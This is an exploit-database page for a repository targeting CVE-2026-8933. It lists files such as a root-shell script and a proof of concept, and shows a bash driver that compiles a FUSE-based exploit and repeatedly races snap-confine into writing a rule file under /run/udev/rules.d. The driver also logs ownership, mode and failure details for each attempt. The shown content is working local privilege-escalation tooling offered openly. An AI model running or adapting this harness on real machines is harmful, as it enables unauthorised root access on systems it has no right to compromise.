Exploit databaseDownload repository ZIP
GH-65162636dc117711ab20e64d8e0a4e7b
songzzzz/cve-2026-8933
Sources for CVE-2026-8933
2 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files23
songzzzz/cve-2026-8933Revision 29875b41a54a
- README.md
- _cleanup3.sh
- _cve.json
- _finalcheck.sh
- _finalstate.sh
- _fix1.patch
- _fix2.patch
- _fix3.patch
- _fix_api.json
- _ftrig.c
- _msc_273.c
- _oss1.txt
- _oss2.txt
- _osv.json
- _qualys.txt
- _reliab.sh
- _rootshell.py
- _suidtest.sh
- _t18diag.sh
- _t18poc.sh
- _t18rel.sh
- _ttytest.sh
- t18.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
_t18diag.sh
Shell · 1,383 bytes#!/bin/bash
# CVE-2026-8933 - diagnostic driver: one attempt at a time, capturing the
# exploit log, the target's ownership/mode and snap-confine's death reason.
# usage: ./_t18diag.sh [attempts]
set -u
cd "$(cd "$(dirname "$0")" && pwd)" || exit 1
if [ "$(id -u)" = 0 ]; then
S() { "$@"; }
else
S() { "${SUDO:-sudo}" "$@"; }
fi
NEW=/run/udev/rules.d/8933-cve.rules
MAX="${1:-8}"
[ -n "${SNAP:-}" ] && export CVE8933_SNAP="$SNAP"
[ -x ./t18 ] || gcc -O2 -o t18 t18.c $(pkg-config --cflags --libs fuse3) || exit 1
unit=$(./t18 info | sed -n 's/^unit=//p')
S umount -l "$NEW" 2>/dev/null
S rm -f "$NEW"
for i in $(seq 1 "$MAX"); do
systemctl --user reset-failed "$unit.scope" 2>/dev/null
timeout 20 ./t18 100% "$NEW" 2 >/tmp/t18.log
echo "=== attempt $i: rc=$? ==="
cp /tmp/t18.log "/tmp/d_a$i.log"
cp /tmp/sc_dbg2.txt "/tmp/d_sc$i.txt" 2>/dev/null
echo "target: $(stat -c 'uid=%u mode=%a size=%s' "$NEW" 2>&1)"
echo "mount: $(findmnt -no TARGET,SOURCE,FSTYPE "$NEW" 2>&1)"
echo "ph2: $(grep -o 'phase 2: [0-9]* slices, win=[01]' /tmp/t18.log | tail -1)"
echo "win: $(grep -o 'spinner: rule written' /tmp/t18.log | tail -1)"
echo "sc-last: $(grep -v '^DEBUG: v2 allow' /tmp/sc_dbg2.txt 2>/dev/null | tail -1)"
echo "sc-die: $(grep -i 'cannot\|permission' /tmp/sc_dbg2.txt 2>/dev/null | tail -1)"
S umount -l "$NEW" 2>/dev/null
S rm -f "$NEW"
done